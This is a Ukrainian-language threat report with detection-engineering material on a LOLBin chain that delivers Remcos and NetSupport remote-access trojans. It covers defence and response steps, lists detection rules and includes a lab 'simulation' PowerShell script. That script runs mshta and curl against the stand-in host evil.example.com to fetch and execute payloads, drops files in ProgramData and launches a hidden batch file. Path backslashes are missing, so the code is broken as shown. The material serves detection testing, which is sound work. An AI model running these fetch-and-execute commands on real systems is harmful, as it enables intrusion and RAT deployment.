Чи Можна Надмірно Використовувати LOLBins для Доставлення Пейлоадів RAT?
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Цей звіт описує багатостадійний ланцюг інфекції, який агресивно використовує вбудовані утиліти Windows (LOLBins) для отримання та запуску засобів віддаленого доступу, таких як Remcos та NetSupport Manager. Оператор використовує forfiles, mshta, PowerShell, curl, tar, WScript та цільові зміни в реєстрі для завантаження корисного навантаження, встановлення стійкості та зниження видимості. Робочий процес також використовує поведінку living-off-the-land для непомітного злиття з рутинною адміністративною діяльністю. Malwarebytes виявив цю активність і заблокував пов’язану IP-адресу. Загалом це підкреслює, наскільки широке використання LOLBins може надійно доставити RAT.
Розслідування
Дослідники вперше побачили, як forfiles.exe запускає mshta, що завантажує шкідливий HTA, який використовує PowerShell для отримання PDF приманки, що містить TAR архів. Після вилучення троянізований glaxnimate.exe скидає фрагментовані компоненти в ProgramData, потім повторно збирає і запускає їх за допомогою WScript, пакетних скриптів та допоміжних файлів. Стійкість була встановлена шляхом створення значення UserInitMprLogonScript під HKCUEnvironment, що посилалося на шкідливий клієнтський бінарний файл.
Захист
Моніторинг аномальної виконання LOLBin, зокрема forfiles, mshta, curl, tar, expand і підозрілих редагувань реєстру в межах HKCUEnvironment. Примусове використання білого списку додатків, увімкніть комплексний журнал PowerShell і заборонити виконання скриптів з ProgramData, щоб обмежити завантаження. Блокуйте незвичайний вихід HTTP до невідомих IP і застосовуйте фільтрацію URL для порушення початкових спроб завантаження.
Відповідь
Коли виявлено, ізолюйте хост, захопіть повну телеметрію командного рядка і зберіть скинуті артефакти для хеш-аналізу. Видаліть шкідливий запис реєстру і видаліть файли, створені в ProgramData. Проведіть сканування кінцевої точки з поточними антивірусними сигнатурами і впровадьте блокування на рівні мережі для IP-адреси нападника та будь-яких пов’язаних доменів.
Потік Атаки
Виявлення
LOLBAS WScript / CScript (через створення процесу)
Перегляд
Підозріла дія CURL (через cmdline)
Перегляд
Можливі точки стійкості [ASEPs – Програмне забезпечення/Розділ NTUSER] (через cmdline)
Перегляд
Підозрілі файли, вилучені з архіву (через file_event)
Перегляд
LOLBAS ForFiles (через cmdline)
Перегляд
Виявлення використання LOLBin для доставки трояна з віддаленим доступом [Створення процесу Windows]
Перегляд
Виконання симуляції
Умова: Попередня перевірка телеметрії та базової лінії має бути успішною.
Обґрунтування: У цьому розділі викладено точне виконання техніки суперника (TTP), призначеної для спрацьовування правила виявлення. Команди та наратив ПОВИННІ безпосередньо відображати ідентифіковані TTP і мають на меті генерувати точну телеметрію, очікувану виявною логікою.
-
Опис атаки та команди:
Оператор червоної команди прагне розгорнути Remcos RAT за допомогою ланцюга LOLBins, щоб уникнути безпосереднього завантаження виконуваного файлу.- Виявлення та інсценування: Use
forfiles.exeщоб знайти цільовий каталог і запуститиmshtaзі шкідливою URL-адресою, що містить HTA завантаження. - Файлове завантаження PowerShell: Виклик
powershell.exeз-NoProfile -Command curlщоб витягнути сценарій другого етапу з сервера C2. - Виконання VBScript: Розгорнути створений
processor.vbsviaWScript.exeщоб записати виконуваний файл RAT в%ProgramData%. - Скидач пакетів: Запустити прихований пакетний файл (
patcher.bat) черезcmd.exeвикликаний черезIWshShell3.Runдля остаточного встановлення стійкості.
Кожен крок генерує окремий подію створення процесу, яка відповідає одній з вибірок Sigma, забезпечуючи спрацьовування правила.
- Виявлення та інсценування: Use
-
Скрипт регресійного тесту:
Скрипт нижче відтворює чотири вибірки в контрольованій лабораторії. Він реєструє кожну команду до тимчасового файлу для пізнішої перевірки.#------------------------------------------------- # Імітація зловживання LOLBin – спрацьовує правило Sigma #------------------------------------------------- $log = "$env:TEMPlolbin_simulation.log" Clear-Content -Path $log -ErrorAction SilentlyContinue # 1. forfiles.exe -> mshta $cmd1 = 'forfiles /p C:WindowsSystem32 /m *.exe /c "cmd /c mshta https://evil.example.com/payload.hta"' Write-Output "[+] Виконання: $cmd1" | Tee-Object -FilePath $log Invoke-Expression $cmd1 # 2. powershell.exe -> curl завантаження $cmd2 = 'powershell.exe -NoProfile -Command "curl https://evil.example.com/stage.ps1 -OutFile $env:TEMPstage.ps1"' Write-Output "[+] Виконання: $cmd2" | Tee-Object -FilePath $log Invoke-Expression $cmd2 # 3. wscript.exe -> processor.vbs $vbsPath = "$env:ProgramDataprocessor.vbs" @" Set fso = CreateObject("Scripting.FileSystemObject") fso.CreateTextFile("$env:ProgramDataremcos.exe").Write "malicious" "@ | Set-Content -Path $vbsPath -Encoding ASCII $cmd3 = "C:WindowsSystem32WScript.exe `"$vbsPath`"" Write-Output "[+] Виконання: $cmd3" | Tee-Object -FilePath $log Invoke-Expression $cmd3 # 4. IWshShell3.Run -> cmd /c patcher.bat $batPath = "$env:ProgramDatapatcher.bat" "@ echo @echo off > %TEMP%nothing.txt "@ | Set-Content -Path $batPath -Encoding ASCII $cmd4 = "cscript //nologo //e:jscript `"var sh = new ActiveXObject('WScript.Shell'); sh.Run('cmd.exe /c %ProgramData%patcher.bat',0,true);`"" Write-Output "[+] Виконання: $cmd4 (через IWshShell3.Run)" | Tee-Object -FilePath $log Invoke-Expression $cmd4 Write-Output "[+] Імітація завершена." | Tee-Object -FilePath $log -
Команди очищення:
Видалити артефакти, щоб відновити хост до чистого стану.# Очищення артефактів імітації LOLBin Remove-Item -Path "$env:ProgramDataprocessor.vbs" -ErrorAction SilentlyContinue Remove-Item -Path "$env:ProgramDataremcos.exe" -ErrorAction SilentlyContinue Remove-Item -Path "$env:ProgramDatapatcher.bat" -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPstage.ps1" -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPlolbin_simulation.log" -ErrorAction SilentlyContinue Write-Output "[+] Очищення завершено."